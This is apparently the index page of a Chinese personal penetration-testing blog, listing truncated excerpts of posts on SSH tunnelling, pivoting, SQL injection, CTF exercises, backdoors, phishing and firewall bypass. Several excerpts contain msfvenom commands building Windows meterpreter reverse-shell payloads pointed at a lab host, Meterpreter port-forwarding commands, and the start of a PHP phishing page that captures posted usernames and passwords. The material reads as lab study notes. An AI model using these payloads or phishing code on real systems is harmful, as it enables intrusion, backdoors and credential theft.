Broken-year
  文章分类
漏洞复现 30 靶场练习 23 博客 1 Linux 1 网络安全 39 环境搭建 2 PHP 2 数据库 5 python 1 服务器搭建 1
ssh隧道 ssh隧道
ssh隧道黑客（192.168.3.134）———-（192.168.3.142）server1（172.16.1.104）———-（172.16.1.103）server2 正向隧道在server1上面 curl http://172.1
2022-03-29 网络安全
网络安全 内网渗透 端口 ssh
端口转发和映射 端口转发和映射
端口转发和映射承接上文（pivotiing和自动路由） sessions -i 1 portfwd flush //清空 portfwd add -L 192.168.3.134 -l 2020 -p 80 -r 172.16.1.103
2022-03-29 网络安全
网络安全 内网渗透 端口
pivotiing和自动路由 pivotiing和自动路由
Pivotiing和自动路由黑客（192.168.3.134）———-（192.168.3.133）server1（172.16.1.101）———-（172.16.1.102）server2 创建一个木马 msfvenom -p wi
2022-03-29 网络安全
内网渗透 cs
sql注入 sql注入
Sql注入sql语法show databases; //查看数据库 use [数据库库名]; show tables; //查看库中有几张表 select * from table1; //查看table1中所有数据 union 联合 /
2022-03-26 网络安全
网络安全 web sql
攻防世界Web进阶篇 攻防世界Web进阶篇
web进阶篇baby_web根据提示想到初始页面index.php，但是会一直跳转到1.php里，按f12打开index.php,在响应头里找到flag warmup开局一张滑稽，查看源码找到source.php,代码审计，查看hint.
2022-03-25 网络安全
网络安全 web 攻防世界 CTF
手机木马移动安全以及拒绝服务攻击 手机木马移动安全以及拒绝服务攻击
认识手机木马以及移动安全android基于linux 开发语言java 应用广泛：什么地方都有java虚拟机 但是： java->臃肿->java虚拟机->c语言->机器语言->操作系统 苹果： oc/
2022-03-24 网络安全
网络安全 android 木马 DDOS 拒绝服务攻击
系统后门 系统后门
认识系统后门meterpreter创建系统后门 创建x64木马 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4444 -f exe >
2022-03-24 网络安全
网络安全 后门 msf 渗透 windows
社会工程学 社会工程学
社会工程学认识网络钓鱼：使用网站克隆工具实在不行，用手写 PHPstudy 新建php文件： <?php $username = $_POST['TextBoxUserName']; $password = $_POST['Text
2022-03-24 网络安全
网络安全 信息搜集 社会工程学
系统防火墙原理及突破 系统防火墙原理及突破
系统防火墙原理及突破数据和嗅探：目标电脑上msf运行木马后 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4444 -f exe -o m
2022-03-23 网络安全
网络安全 渗透 windows 防火墙
操作系统权限及信息采集 操作系统权限及信息采集
操作系统权限及信息采集系统权限windowssystemadministrator(others) linuxroot(others) 计算机组成相关权限CPU:OS（操作系统——可以在其身上安装其他软件的软件，需要配合硬件）ring0 权
2022-03-23 网络安全
Linux 操作系统 Windows 安全 权限
2 / 4